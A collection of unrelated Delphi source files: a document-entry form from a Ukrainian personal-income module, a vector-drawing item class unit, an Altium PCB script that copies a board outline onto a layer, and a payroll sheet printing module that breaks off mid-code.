inherited Create(AOwner);
Screen.Cursor:=crDefault;
DateEdit.Date := date;
id_user := AccMgmt.GetUserId;
DM.DataSetSelNumb.Close;
DM.DataSetSelNumb.SQLs.SelectSQL.Text := 'select max(num_doc) as num_doc from PI_DOC_HEADERS';
DM.DataSetSelNumb.Open;
try numb_pack := DM.DataSetSelNumb.FBN('num_doc').AsInteger; except numb_pack:= 0 end;
end;
procedure TfmPrepareDocAdd.OkButtonClick(Sender: TObject);
begin
if(id_type_doc = null) then
Begin
ShowMessage('Необхідно заповнити тип документа!');
ButtonEditTypeDoc.SetFocus;
Exit;
end;
if(TextEditNum.Text = '') then
Begin
ShowMessage('Необхідно заповнити номер документаа!');
TextEditNum.SetFocus;
Exit;
end;
if(DateEdit.Text = '') then
Begin
ShowMessage('Необхідно заповнити дату документа!');
DateEdit.SetFocus;
Exit;
end;
ModalResult := mrOk;
end;
procedure TfmPrepareDocAdd.CancelButtonClick(Sender: TObject);
begin
close;
end;
procedure TfmPrepareDocAdd.ButtonEditTypeDocPropertiesButtonClick(
Sender: TObject; AButtonIndex: Integer);
var
AParameter: TPiParamPacks;
res : variant;
begin
AParameter := TPiParamPacks.Create;
AParameter.Owner := self;
AParameter.Db_Handle := dm.Db.Handle;
AParameter.Formstyle := fsNormal;
AParameter.id_locate := id_user;
res := DoFunctionFromPackage(AParameter, ['Personal_income\PiTypeDoc.bpl', 'ShowPiTypeDoc']);
AParameter.Free;
if VarArrayDimCount(res)>0 then
begin
id_type_doc := res[0];
ButtonEditTypeDoc.Text:= vartostr(res[1]);
end;
end;
procedure TfmPrepareDocAdd.ButtonEditTypeDocKeyPress(Sender: TObject;
var Key: Char);
begin
key := chr(0);
end;
procedure TfmPrepareDocAdd.TextEditNumKeyPress(Sender: TObject;
var Key: Char);
begin
if ((Ord(Key) < 48) or (Ord(Key) > 57))
and (Ord(Key) <> 8)
and (Ord(Key) <> VK_DELETE)
and (Ord(Key) <> VK_ESCAPE)
then
Key := Chr(0)
end;
end.
|
{
Role
Store drawing datas.
}
unit ThItem;
interface
uses
System.SysUtils,
System.Generics.Collections,
GR32,
ThTypes, ThClasses, ThItemSelection;
type
TThItem = class(TThInterfacedObject, IThItem)
private
FBounds: TFloatRect;
FPolyPoly: TThPolyPoly;
function GetPolyPoly: TThPolyPoly;
protected
function GetBounds: TFloatRect; virtual;
procedure Realign;
procedure DoRealign; virtual;
public
constructor Create; virtual;
procedure Draw(Bitmap: TBitmap32; AScale, AOffset: TFloatPoint); virtual; abstract;
function PtInItem(APt: TFloatPoint): Boolean; virtual;
property Bounds: TFloatRect read GetBounds;
property PolyPoly: TThPolyPoly read GetPolyPoly;
end;
TThCustomDrawItem = class(TThItem)
end;
TThPenItem = class(TThCustomDrawItem)
private
FPath: TThPath;
FThickness: Single;
FColor: TColor32;
FAlpha: Byte;
FIsDeletion: Boolean;
function GetColor: TColor32;
public
// constructor Create(APath: TThPath; APolyPoly: TThPolyPoly); reintroduce; overload;
procedure SetStyle(AThickness: Integer; AColor: TColor32; AAlpha: Byte); overload;
procedure SetStyle(AStyle: IThDrawStyle); overload;
procedure Draw(Bitmap: TBitmap32; AScale, AOffset: TFloatPoint); override;
procedure DrawPoly(Bitmap: TBitmap32; AScale, AOffset: TFloatPoint; APath: TThPath; APolyPoly: TThPolyPoly); virtual;
property IsDeletion: Boolean read FIsDeletion write FIsDeletion default False;
property Path: TThPath read FPath;
property Thickness: Single read FThickness;
property Color: TColor32 read GetColor;
property Alpha: Byte read FAlpha;
end;
TThShapeItem = class(TThItem, IThShapeItem, IThSelectableItem)
private
// FSelected: Boolean;
FSelection: IThItemSelectionHandles;
// FSelectionClass: TThItemSelectionClass;
FBorderWidth: Integer;
FBorderColor: TColor32;
// IThSelectableItem
procedure SetSelected(const Value: Boolean);
function GetSelected: Boolean;
function GetSelection: IThItemSelectionHandles;
protected
function GetBounds: TFloatRect; override;
procedure DoRealign; override;
function CreateSelection: IThItemSelectionHandles; virtual; abstract;
// IThSelectableItem
procedure MoveItem(APoint: TFloatPoint); virtual; abstract;
procedure MouseDown(APoint: TFloatPoint); virtual;
procedure MouseMove(APoint: TFloatPoint); virtual;
procedure MouseUp(APoint: TFloatPoint); virtual;
procedure MouseEnter(APoint: TFloatPoint); virtual;
procedure MouseLeave(APoint: TFloatPoint); virtual;
// IThShapeItem
procedure ResizeItem(AFromPoint, AToPoint: TFloatPoint); virtual; abstract;
procedure DrawPoints(Bitmap: TBitmap32; AScale, AOffset: TFloatPoint;
AFromPoint, AToPoint: TFloatPoint); virtual; abstract;
public
constructor Create; override;
destructor Destroy; override;
procedure SetStyle(AStyle: IThDrawStyle); virtual; abstract;
procedure Draw(Bitmap: TBitmap32; AScale, AOffset: TFloatPoint); override;
function PtInItem(APt: TFloatPoint): Boolean; override;
property Selected: Boolean read GetSelected write SetSelected;
property Selection: IThItemSelectionHandles read FSelection;
property BorderWidth: Integer read FBorderWidth write FBorderWidth;
property BorderColor: TColor32 read FBorderColor write FBorderColor;
end;
{Naming: ClosedShapeItem, FillableShapeItem}
TThFaceShapeItem = class(TThShapeItem, IThConnectableItem)
private
FRect: TFloatRect;
FColor: TColor32;
FConnection: IThItemConnectionHandles;
function GetConnection: IThItemConnectionHandles;
function GetLinkedConnectors: TList<IThConnectorItem>;
protected
procedure DoRealign; override;
function RectToPolyPoly(ARect: TFloatRect): TThPolyPoly; virtual; abstract;
procedure MouseMove(APoint: TFloatPoint); override;
function CreateSelection: IThItemSelectionHandles; override;
function CreateConnection: IThItemConnectionHandles; virtual;
procedure ShowConnection;
procedure HideConnection;
function IsConnectable: Boolean;
procedure ConnectTo(AConnector: IThConnectorItem);
public
constructor Create; override;
destructor Destroy; override;
procedure SetStyle(AColor: TColor32;
ABorderWidth: Integer; ABorderColor: TColor32); reintroduce; overload;
procedure SetStyle(AStyle: IThDrawStyle); overload; override;
procedure Draw(Bitmap: TBitmap32; AScale, AOffset: TFloatPoint); override;
procedure DrawPoints(Bitmap: TBitmap32; AScale, AOffset: TFloatPoint;
AFromPoint, AToPoint: TFloatPoint); override;
function PtInItem(APt: TFloatPoint): Boolean; override;
procedure ResizeItem(AFromPoint, AToPoint: TFloatPoint); override;
procedure MoveItem(APoint: TFloatPoint); override;
property Rect: TFloatRect read FRect;
property Color: TColor32 read FColor;
end;
TThLineShapeItem = class(TThShapeItem, IThConnectorItem)
private
FFromPoint, FToPoint: TFloatPoint;
FLinkedFromItem, FLinkedToItem: IThShapeItem;
protected
procedure DoRealign; override;
function CreateSelection: IThItemSelectionHandles; override;
function PointToPolyPoly(AFromPoint, AToPoint: TFloatPoint): TThPolyPoly; virtual; abstract;
function GetLinkedFromItem: IThShapeItem;
function GetLinkedToItem: IThShapeItem;
public
procedure SetStyle(ABorderWidth: Integer; ABorderColor: TColor32); reintroduce; overload;
procedure SetStyle(AStyle: IThDrawStyle); overload; override;
procedure Draw(Bitmap: TBitmap32; AScale, AOffset: TFloatPoint); override;
procedure DrawPoints(Bitmap: TBitmap32; AScale, AOffset: TFloatPoint;
AFromPoint, AToPoint: TFloatPoint); override;
procedure ResizeItem(AFromPoint, AToPoint: TFloatPoint); override;
procedure MoveItem(APoint: TFloatPoint); override;
property FromPoint: TFloatPoint read FFromPoint;
property ToPoint: TFloatPoint read FToPoint;
end;
implementation
uses
// Winapi.Windows, // ODS
Vcl.Forms,
System.UITypes, System.Math,
GR32_Polygons, GR32_VectorUtils,
ThUtils, ThItemStyle,
ThItemConnection;
{ TThItem }
constructor TThItem.Create;
begin
end;
procedure TThItem.DoRealign;
begin
end;
function TThItem.GetBounds: TFloatRect;
begin
Result := FBounds;
end;
function TThItem.GetPolyPoly: TThPolyPoly;
begin
Result := FPolyPoly
end;
function TThItem.PtInItem(APt: TFloatPoint): Boolean;
begin
Result := GR32.PtInRect(FBounds, APt) and PtInPolyPolygon(APt, FPolyPoly);
end;
procedure TThItem.Realign;
begin
DoRealign;
if Length(FPolyPoly) > 0 then
FBounds := PolypolygonBounds(FPolyPoly)
else
FBounds := EmptyRect;
end;
{ TThPenItem }
procedure TThPenItem.SetStyle(AThickness: Integer; AColor: TColor32; AAlpha: Byte);
begin
FThickness := AThickness;
FColor := AColor;
FAlpha := AAlpha;
end;
procedure TThPenItem.SetStyle(AStyle: IThDrawStyle);
var
Style: TThPenStyle;
begin
Style := TThPenStyle(AStyle);
SetStyle(Style.Thickness, Style.Color, Style.Alpha);
end;
procedure TThPenItem.Draw(Bitmap: TBitmap32; AScale, AOffset: TFloatPoint);
var
PolyPoly: TThPolyPoly;
begin
PolyPoly := ScalePolyPolygon(FPolyPoly, AScale.X, AScale.Y);
TranslatePolyPolygonInplace(PolyPoly, AOffset.X, AOffset.Y);
PolyPolygonFS(Bitmap, PolyPoly, Color);
end;
procedure TThPenItem.DrawPoly(Bitmap: TBitmap32; AScale,
AOffset: TFloatPoint; APath: TThPath; APolyPoly: TThPolyPoly);
begin
FPolyPoly := APolyPoly;
Realign;
Draw(Bitmap, AScale, AOffset);
end;
function TThPenItem.GetColor: TColor32;
var
LAlpha: Byte;
begin
Result := FColor;
LAlpha := FAlpha;
if FIsDeletion then
LAlpha := Round(LAlpha * 0.2);
ModifyAlpha(Result, LAlpha);
end;
{ TThShapeItem }
constructor TThShapeItem.Create;
begin
inherited;
FSelection := CreateSelection
end;
destructor TThShapeItem.Destroy;
begin
FSelection := nil; // Free(ARC)
inherited;
end;
procedure TThShapeItem.DoRealign;
begin
inherited;
end;
procedure TThShapeItem.Draw(Bitmap: TBitmap32; AScale, AOffset: TFloatPoint);
begin
if FSelection.Visible then
FSelection.Draw(Bitmap, AScale, AOffset);
end;
function TThShapeItem.GetBounds: TFloatRect;
var
Radius: Single;
begin
Result := inherited GetBounds;
if Assigned(FSelection) then
begin
Radius := TThItemSelection(FSelection).HandleRadius;
GR32.InflateRect(Result, Radius, Radius)
end;
end;
function TThShapeItem.GetSelected: Boolean;
begin
Result := FSelection.Visible;
end;
function TThShapeItem.GetSelection: IThItemSelectionHandles;
begin
Result := FSelection;
end;
procedure TThShapeItem.MouseDown(APoint: TFloatPoint);
begin
if FSelection.Visible then
FSelection.MouseDown(APoint);
end;
procedure TThShapeItem.MouseMove(APoint: TFloatPoint);
begin
if FSelection.Visible then
FSelection.MouseMove(APoint);
// if not Assigned(FSelection.HotHandle) then
// Screen.Cursor := crSizeAll;
end;
procedure TThShapeItem.MouseUp(APoint: TFloatPoint);
begin
if FSelection.Visible then
FSelection.MouseUp(APoint);
end;
procedure TThShapeItem.MouseEnter(APoint: TFloatPoint);
begin
if Assigned(FSelection.HotHandle) then
Exit;
Screen.Cursor := crSizeAll;
end;
procedure TThShapeItem.MouseLeave(APoint: TFloatPoint);
begin
if FSelection.Visible then
FSelection.ReleaseHotHandle;
Screen.Cursor := crDefault;
end;
function TThShapeItem.PtInItem(APt: TFloatPoint): Boolean;
begin
Result := False;
if GR32.PtInRect(Bounds, APt) then
begin
if FSelection.Visible and FSelection.PtInHandles(APt) then
Exit(True);
Result := PtInPolyPolygon(APt, FPolyPoly);
end;
end;
procedure TThShapeItem.SetSelected(const Value: Boolean);
begin
if Assigned(FSelection) then
FSelection.Visible := Value;
end;
{ TThFillShapeItem }
procedure TThFaceShapeItem.ConnectTo(AConnector: IThConnectorItem);
begin
// LinkedConnectors에 AConnector 추가
// AConnector에 LinkedItem 지정
end;
constructor TThFaceShapeItem.Create;
begin
inherited;
end;
destructor TThFaceShapeItem.Destroy;
begin
inherited;
end;
procedure TThFaceShapeItem.SetStyle(AColor: TColor32; ABorderWidth: Integer;
ABorderColor: TColor32);
begin
FColor := AColor;
FBorderWidth := ABorderWidth;
FBorderColor := ABorderColor;
end;
procedure TThFaceShapeItem.SetStyle(AStyle: IThDrawStyle);
var
Style: TThShapeStyle;
begin
Style := TThShapeStyle(AStyle);
SetStyle(Style.Color, Style.BorderWidth, Style.BorderColor);
end;
procedure TThFaceShapeItem.ShowConnection;
begin
FConnection := CreateConnection;
end;
procedure TThFaceShapeItem.HideConnection;
begin
if Assigned(FConnection)
and Assigned(FConnection.HotHandle) then
FConnection.ReleaseHotHandle;
FConnection := nil;
end;
function TThFaceShapeItem.IsConnectable: Boolean;
begin
Result := Assigned(FConnection) and Assigned(FConnection.HotHandle)
end;
procedure TThFaceShapeItem.DoRealign;
begin
inherited;
FPolyPoly := RectToPolyPoly(FRect);
if Assigned(FSelection) then
FSelection.RealignHandles;
end;
procedure TThFaceShapeItem.Draw(Bitmap: TBitmap32; AScale,
AOffset: TFloatPoint);
var
PolyPoly: TThPolyPoly;
begin
PolyPoly := ScalePolyPolygon(FPolyPoly, AScale.X, AScale.Y);
TranslatePolyPolygonInplace(PolyPoly, AOffset.X, AOffset.Y);
PolyPolygonFS(Bitmap, PolyPoly, FColor);
PolyPolylineFS(Bitmap, PolyPoly, FBorderColor, True, FBorderWidth);
if Assigned(FConnection) then
FConnection.Draw(Bitmap, AScale, AOffset);
inherited; // Draw Selection
end;
procedure TThFaceShapeItem.DrawPoints(Bitmap: TBitmap32; AScale, AOffset,
AFromPoint, AToPoint: TFloatPoint);
begin
FRect.TopLeft := AFromPoint;
FRect.BottomRight := AToPoint;
Realign;
Draw(Bitmap, AScale, AOffset);
end;
function TThFaceShapeItem.GetConnection: IThItemConnectionHandles;
begin
Result := FConnection;
end;
function TThFaceShapeItem.GetLinkedConnectors: TList<IThConnectorItem>;
begin
end;
function TThFaceShapeItem.CreateConnection: IThItemConnectionHandles;
begin
Result := TThItemAnchorPoints.Create(Self);
end;
function TThFaceShapeItem.CreateSelection: IThItemSelectionHandles;
begin
Result := TThShapeSelection.Create(Self);
end;
procedure TThFaceShapeItem.MouseMove(APoint: TFloatPoint);
begin
inherited;
if Assigned(FConnection) then
FConnection.MouseMove(APoint);
end;
procedure TThFaceShapeItem.MoveItem(APoint: TFloatPoint);
begin
FRect := OffsetRect(FRect, APoint);
Realign;
end;
function TThFaceShapeItem.PtInItem(APt: TFloatPoint): Boolean;
begin
Result := False;
if GR32.PtInRect(Bounds, APt) then
begin
if Assigned(FConnection) and FConnection.PtInHandles(APt) then
Exit(True);
Result := inherited;
end;
end;
procedure TThFaceShapeItem.ResizeItem(AFromPoint, AToPoint: TFloatPoint);
begin
FRect.TopLeft := AFromPoint;
FRect.BottomRight := AToPoint;
Realign;
end;
{ TThLineShapeItem }
procedure TThLineShapeItem.SetStyle(ABorderWidth: Integer;
ABorderColor: TColor32);
begin
FBorderWidth := ABorderWidth;
FBorderColor := ABorderColor;
end;
procedure TThLineShapeItem.SetStyle(AStyle: IThDrawStyle);
var
Style: TThShapeStyle;
begin
Style := TThShapeStyle(AStyle);
SetStyle(Style.BorderWidth, Style.BorderColor);
end;
procedure TThLineShapeItem.DoRealign;
begin
inherited;
FPolyPoly := PointToPolyPoly(FFromPoint, FToPoint);
if Assigned(FSelection) then
FSelection.RealignHandles;
end;
procedure TThLineShapeItem.Draw(Bitmap: TBitmap32; AScale,
AOffset: TFloatPoint);
var
PolyPoly: TThPolyPoly;
begin
PolyPoly := ScalePolyPolygon(FPolyPoly, AScale.X, AScale.Y);
TranslatePolyPolygonInplace(PolyPoly, AOffset.X, AOffset.Y);
PolyPolygonFS(Bitmap, PolyPoly, FBorderColor);
inherited;
end;
procedure TThLineShapeItem.DrawPoints(Bitmap: TBitmap32; AScale, AOffset,
AFromPoint, AToPoint: TFloatPoint);
begin
FFromPoint := AFromPoint;
FToPoint := AToPoint;
Realign;
Draw(Bitmap, AScale, AOffset);
end;
function TThLineShapeItem.GetLinkedFromItem: IThShapeItem;
begin
Result := nil;
end;
function TThLineShapeItem.GetLinkedToItem: IThShapeItem;
begin
Result := nil;
end;
function TThLineShapeItem.CreateSelection: IThItemSelectionHandles;
begin
Result := TThLineSelection.Create(Self);
end;
procedure TThLineShapeItem.MoveItem(APoint: TFloatPoint);
begin
FFromPoint := FFromPoint.Offset(APoint);
FToPoint := FToPoint.Offset(APoint);
Realign;
end;
procedure TThLineShapeItem.ResizeItem(AFromPoint, AToPoint: TFloatPoint);
begin
FFromPoint := AFromPoint;
FToPoint := AToPoint;
Realign;
end;
end.
|
{...............................................................................}
{ Summary Copies the board outline as tracks and arcs onto specified layer. }
{ Layer and Width values to be specified by the user before proceeding. }
{ }
{ Version 1.1 }
{ }
{ Copyright (c) 2004 by Altium Limited }
{...............................................................................}
{...............................................................................}
Var
PCB_Board : IPCB_Board;
{...............................................................................}
{...............................................................................}
Procedure CopyBoardOutline(AWidth : Coord; ALayer : TLayer);
Var
Track : IPCB_Track;
Arc : IPCB_Arc;
I,J : Integer;
Begin
PCB_Board.BoardOutline.Invalidate;
PCB_Board.BoardOutline.Rebuild;
PCB_Board.BoardOutline.Validate;
PCBServer.PreProcess;
// Step through each of the vertices of the Board Outline in turn.
For I := 0 To PCB_Board.BoardOutline.PointCount - 1 Do
Begin
// Set the value of J to point to the "next" vertex; this is normally
// I + 1, but needs to be set to 0 instead for the very last vertex
// that is processed by this loop.
If I = PCB_Board.BoardOutline.PointCount - 1 Then
J := 0
Else
J := I + 1;
If PCB_Board.BoardOutline.Segments[I].Kind = ePolySegmentLine Then
Begin
// Current segment is a straight line; create a Track object.
Track := PCBServer.PCBObjectFactory(eTrackObject,
eNoDimension,
eCreate_Default);
Track.X1 := PCB_Board.BoardOutline.Segments[I].vx;
Track.Y1 := PCB_Board.BoardOutline.Segments[I].vy;
Track.X2 := PCB_Board.BoardOutline.Segments[J].vx;
Track.Y2 := PCB_Board.BoardOutline.Segments[J].vy;
Track.Layer := ALayer;
Track.Width := AWidth;
PCB_Board.AddPCBObject(Track);
End
Else
Begin
// Current segment is an arc; create an Arc object.
Arc := PCBServer.PCBObjectFactory(eArcObject,
eNoDimension,
eCreate_Default);
Arc.XCenter := PCB_Board.BoardOutline.Segments[I].cx;
Arc.YCenter := PCB_Board.BoardOutline.Segments[I].cy;
Arc.Layer := ALayer;
Arc.LineWidth := AWidth;
Arc.Radius := PCB_Board.BoardOutline.Segments[I].Radius;
Arc.StartAngle := PCB_Board.BoardOutline.Segments[I].Angle1;
Arc.EndAngle := PCB_Board.BoardOutline.Segments[I].Angle2;
PCB_Board.AddPCBObject(Arc);
End;
End;
PCBServer.PostProcess;
// Display (unconditionally) the layer selected by the user.
PCB_Board.LayerIsDisplayed[ALayer] := True;
// Refresh PCB workspace.
ResetParameters;
AddStringParameter('Action', 'Redraw');
RunProcess('PCB:Zoom');
End;
{...............................................................................}
{...............................................................................}
Procedure TCopyBoardOutlineForm.bCancelClick(Sender: TObject);
Begin
Close;
End;
{...............................................................................}
{...............................................................................}
Procedure TCopyBoardOutlineForm.bOKClick(Sender: TObject);
Var
Width : TCoord;
Layer : TLayer;
Begin
PCB_Board := PCBServer.GetCurrentPCBBoard;
If PCB_Board = Nil Then Exit;
// Note the Width is in Coord units.
StringToCoordUnit(eWidth.Text,Width,PCB_Board.DisplayUnit);
Layer := String2Layer(cbLayers.Items[cbLayers.ItemIndex]);
CopyBoardOutline(Width,Layer);
Close;
End;
{...............................................................................}
{...............................................................................}
procedure TCopyBoardOutlineForm.CopyBoardOutlineFormCreate(Sender: TObject);
begin
PCB_Board := PCBServer.GetCurrentPCBBoard;
If PCB_Board = Nil Then Exit;
SetupComboBoxFromLayer(cbLayers, PCB_Board);
end;
{...............................................................................}
|
unit UV_SheetPrint_DM;
interface
uses
SysUtils, Classes, frxClass, frxDBSet, FIBDatabase, pFIBDatabase, DB,
FIBDataSet, pFIBDataSet, IBase, ZProc, ZMessages, IniFiles,
UV_SheetPrint_Dates_Form, UV_SheetPrint_Sort,
Forms, Dates, Controls, Variants, frxDesgn,
pFibStoredProc, Dialogs, frxExportXLS;
type
TPrint_DM = class(TDataModule)
DataBase: TpFIBDatabase;
DSetSetup: TpFIBDataSet;
DSetGrSheet: TpFIBDataSet;
DSourceGrSheet: TDataSource;
DSetSheet: TpFIBDataSet;
ReadTransaction: TpFIBTransaction;
frxDBDSetSetup: TfrxDBDataset;
frxDBDSetGrSheet: TfrxDBDataset;
frxDBDSetSheet: TfrxDBDataset;
frxDesigner1: TfrxDesigner;
frxXLSExport: TfrxXLSExport;
frxReport: TfrxReport;
procedure frxReportGetValue(const VarName: String; var Value: Variant);
procedure DataModuleDestroy(Sender: TObject);
procedure frxReportAfterPrintReport(Sender: TObject);
private
PTypePrint:Byte;
PId:LongWord;
PTypeForm:Byte;
public
constructor Create(AOwner:TComponent;DB_HANDLE:TISC_DB_HANDLE;AId:LongWord;ATypeForm:Byte);reintroduce;
procedure Print;
end;
implementation
uses pFIBProps;
{$R *.dfm}
const Path_IniFile_Reports = 'Reports\Zarplata\Reports.ini';
const SectionSheetOfIniFile = 'SHEET';
const SectionReeSheetsOfIniFile = 'REESHEETS';
const SectionSheetReeOfIniFile = 'SHEETREE';
constructor TPrint_DM.Create(AOwner:TComponent;DB_HANDLE:TISC_DB_HANDLE;AId:LongWord;ATypeForm:Byte);
begin
inherited Create(AOwner);
PTypePrint := ATypeForm;
DataBase.Connected := False;
DataBase.Handle := DB_HANDLE;
ReadTransaction.StartTransaction;
PTypeForm:=ATypeForm;
PId:=AId;
end;
procedure TPrint_DM.Print;
var IniFile:TIniFile;
ViewMode:byte;
PathReport:string;
FormTerms:TFTermsSheetPrint;
FormOrder:TFSort;
begin
IniFile:=TIniFile.Create(ExtractFilePath(Application.ExeName)+Path_IniFile_Reports);
ViewMode:=0;
case PTypePrint of
1:
begin
FormOrder:=TFSort.Create(self.Owner);
if FormOrder.ShowModal=mrYes then
begin
ViewMode:=IniFile.ReadInteger(SectionReeSheetsOfIniFile,'ViewMode',1);
PathReport:=IniFile.ReadString(SectionSheetOfIniFile,'NameReport','Reports\Zarplata\GrSheetOne.fr3');
frxReport.Clear;
frxReport.LoadFromFile(ExtractFilePath(Application.ExeName)+PathReport,True);
frxReport.Variables.Clear;
DSetSetup.SQLs.SelectSQL.Text:='SELECT FULL_NAME,DIRECTOR,GLAV_BUHG,OKPO,NAME_MANEG,GLBUHG_POST,POST_NAME_ZAM FROM Z_SETUP';
DSetGrSheet.SQLs.SelectSQL.Text := 'SELECT * FROM UV_PRINT_SHEETONE('+IntToStr(PId)+', '+IntToStr(PTypePrint)+')';
if FormOrder.RadioGroupOrder.ItemIndex=0 then
DSetSheet.SQLs.SelectSQL.Text := 'SELECT * FROM UV_PRINT_SHEETONE_DATA(?ID_GRSHEET,1) ORDER BY TN'
else DSetSheet.SQLs.SelectSQL.Text := 'SELECT * FROM UV_PRINT_SHEETONE_DATA(?ID_GRSHEET,1) ORDER BY FIO';
DSetSetup.Open;
DSetGrSheet.Open;
DSetSheet.Open;
frxReport.Variables['RFromMonth'] := ''''+AnsiLowerCase(KodSetupToPeriod(DSetGrSheet.FieldValues['KOD_SETUP'],5))+'''';
if FormOrder.CheckBoxPrintDate.Checked then frxReport.Variables['RDate'] := ''' '''
else frxReport.Variables['RDate'] := ''''+DateToStr(date)+'''';
end;
FormOrder.Free;
end;
2:
begin
FormOrder:=TFSort.Create(self.Owner);
if FormOrder.ShowModal=mrYes then
begin
ViewMode:=IniFile.ReadInteger(SectionReeSheetsOfIniFile,'ViewMode',1);
PathReport:=IniFile.ReadString(SectionReeSheetsOfIniFile,'NameReport','Reports\Zarplata\GrSheetsForReestr.fr3');
frxReport.Clear;
frxReport.LoadFromFile(ExtractFilePath(Application.ExeName)+PathReport,True);
frxReport.Variables.Clear;
DSetSetup.SQLs.SelectSQL.Text:='SELECT FULL_NAME,DIRECTOR,GLAV_BUHG,OKPO,NAME_MANEG,GLBUHG_POST,POST_NAME_ZAM FROM Z_SETUP';
DSetGrSheet.SQLs.SelectSQL.Text := 'SELECT * FROM UV_PRINT_SHEETONE('+IntToStr(PId)+', '+IntToStr(PTypePrint)+')';
if FormOrder.RadioGroupOrder.ItemIndex=0 then
DSetSheet.SQLs.SelectSQL.Text := 'SELECT * FROM UV_PRINT_SHEETONE_DATA(?ID_GRSHEET,1) ORDER BY TN'
else DSetSheet.SQLs.SelectSQL.Text := 'SELECT * FROM UV_PRINT_SHEETONE_DATA(?ID_GRSHEET,1) ORDER BY FIO';
DSetSetup.Open;
DSetGrSheet.Open;
DSetSheet.Open;
frxReport.Variables['RFromMonth'] := ''''+AnsiLowerCase(KodSetupToPeriod(DSetGrSheet.FieldValues['KOD_SETUP'],5))+'''';
if FormOrder.CheckBoxPrintDate.Checked then frxReport.Variables['RDate'] := ''' '''
else frxReport.Variables['RDate'] := ''''+DateToStr(date)+'''';
end;
FormOrder.Free;
end;
3:
begin
FormTerms:=TFTermsSheetPrint.Create(self.Owner);
if FormTerms.ShowModal=mrYes then
begin
ViewMode:=IniFile.ReadInteger(SectionSheetReeOfIniFile,'ViewMode',1);
if(ValueFieldZSetup(DataBase.Handle,'NUM_PREDPR')=5)then
PathReport:=IniFile.ReadString(SectionSheetReeOfIniFile,'NameReport','Reports\Zarplata\PlatSheetForReestrHAI.fr3')
else
PathReport:=IniFile.ReadString(SectionSheetReeOfIniFile,'NameReport','Reports\Zarplata\PlatSheetForReestr.fr3');
frxReport.Clear;
frxReport.LoadFromFile(ExtractFilePath(Application.ExeName)+PathReport,True);
frxReport.Variables.Clear;
DSetSetup.SQLs.SelectSQL.Text:='SELECT FULL_NAME,DIRECTOR,GLAV_BUHG,OKPO,NAME_MANEG,GLBUHG_POST,POST_NAME_ZAM FROM Z_SETUP';
DSetGrSheet.SQLs.SelectSQL.Text := 'SELECT * FROM UV_PRINT_SHEETONE('+IntToStr(PId)+', '+IntToStr(PTypePrint)+')';
if FormTerms.RadioGroupOrder.ItemIndex=0 then
begin
if(ValueFieldZSetup(DataBase.Handle,'NUM_PREDPR')=5)then
DSetSheet.SQLs.SelectSQL.Text := 'SELECT * FROM UV_PRINT_SHEETONE_DATA('+IntToStr(PId)+',2) ORDER BY NAME_DEPARTMENT'
else
DSetSheet.SQLs.SelectSQL.Text := 'SELECT * FROM UV_PRINT_SHEETONE_DATA('+IntToStr(PId)+',2) ORDER BY TN'
end
else DSetSheet.SQLs.SelectSQL.Text := 'SELECT * FROM UV_PRINT_SHEETONE_DATA('+IntToStr(PId)+',2) ORDER BY FIO';
DSetSetup.Open;
DSetGrSheet.Open;
DSetSheet.Open;
if DSetGrSheet.IsEmpty then Exit;
frxReport.Variables['RFromMonth'] := ''''+AnsiLowerCase(KodSetupToPeriod(DSetGrSheet['KOD_SETUP'],5))+'''';
if FormTerms.CheckBoxNonTerm.Checked then
begin
frxReport.Variables['RDateBeg'] := ''' ''';
frxReport.Variables['RDateEnd'] := ''' ''';
end
else
begin
frxReport.Variables['RDateBeg'] := ''''+FormTerms.DateFrom.Text+'''';
frxReport.Variables['RDateEnd'] := ''''+FormTerms.DateTo.Text+'''';
end;
if FormTerms.CheckBoxPrintDate.Checked then frxReport.Variables['RDate'] := ''' '''
else frxReport.Variables['RDate'] := ''''+DateToStr(date)+'''';
end;
FormTerms.Free;
end;
4:
begin
FormTerms:=TFTermsSheetPrint.Create(self.Owner);
FormTerms.cxCheckBox1.Visible:=true;
if(NumPredpr(DataBase.Handle)<>1)then
FormTerms.cxCheckBox2.Visible:=true;
if FormTerms.ShowModal=mrYes then
begin
PathReport:=IniFile.ReadString(SectionSheetReeOfIniFile,'NameReport','Reports\Zarplata\PlatSheetForReestrNew.fr3');
frxReport.Clear;
frxReport.LoadFromFile(ExtractFilePath(Application.ExeName)+PathReport,True);
frxReport.Variables.Clear;
DSetSetup.SQLs.SelectSQL.Text:='SELECT SHORT_NAME,DIRECTOR,GLAV_BUHG,OKPO,NAME_MANEG,GLBUHG_POST,POST_NAME_ZAM FROM Z_SETUP';
if(FormTerms.cxCheckBox1.EditValue )then
DSetGrSheet.SQLs.SelectSQL.Text := 'SELECT * FROM UV_PRINT_SHEETONE('+IntToStr(PId)+', '+IntToStr(PTypePrint)+')'
else
begin
if(FormTerms.cxCheckBox2.EditValue )then
DSetGrSheet.SQLs.SelectSQL.Text := 'SELECT KOD_SETUP, (SUM(GRSUMMA)) as GRSUMMA, SCH_NUMBER, ID_ORG, NAME_ORG, 0 as KOD_SHEET FROM UV_PRINT_SHEETONE('+IntToStr(PId)+', '+IntToStr(PTypePrint)+') GROUP BY 1,3,4,5 ORDER BY 5'
else
DSetGrSheet.SQLs.SelectSQL.Text := 'SELECT * FROM UV_PRINT_SHEETONE('+IntToStr(PId)+', 5)';
end;
DSetSheet.SQLs.SelectSQL.Text := 'SELECT * FROM UV_PRINT_SHEETONE_DATA';
if(FormTerms.cxCheckBox1.EditValue)then
DSetSheet.SQLs.SelectSQL.Text:=DSetSheet.SQLs.SelectSQL.Text+'(?ID_GRSHEET,1) '
else
begin
if(FormTerms.cxCheckBox2.EditValue )then
DSetSheet.SQLs.SelectSQL.Text:='SELECT * FROM UV_PRINT_SHEETONE_DATA_ORG_STR('+IntToStr(PId)+',?ID_ORG)'
else
DSetSheet.SQLs.SelectSQL.Text:=DSetSheet.SQLs.SelectSQL.Text+'('+IntToStr(PId)+',2) ';
end;
if FormTerms.RadioGroupOrder.ItemIndex=0 then
begin
DSetSheet.SQLs.SelectSQL.Text := DSetSheet.SQLs.SelectSQL.Text+'ORDER BY TN'
end
else DSetSheet.SQLs.SelectSQL.Text := DSetSheet.SQLs.SelectSQL.Text+'ORDER BY FIO';
DSetSetup.Open;
DSetGrSheet.Open;
DSetSheet.Open;
if DSetGrSheet.IsEmpty then Exit;
frxReport.Variables['RFromMonth'] := ''''+AnsiLowerCase(KodSetupToPeriod(DSetGrSheet['KOD_SETUP'],4))+'''';
frxReport.Variables['NumPredpr']:=ValueFieldZSetup(DataBase.Handle,'NUM_PREDPR');
if FormTerms.CheckBoxNonTerm.Checked then
begin
frxReport.Variables['RDateBeg'] := ''' ''';
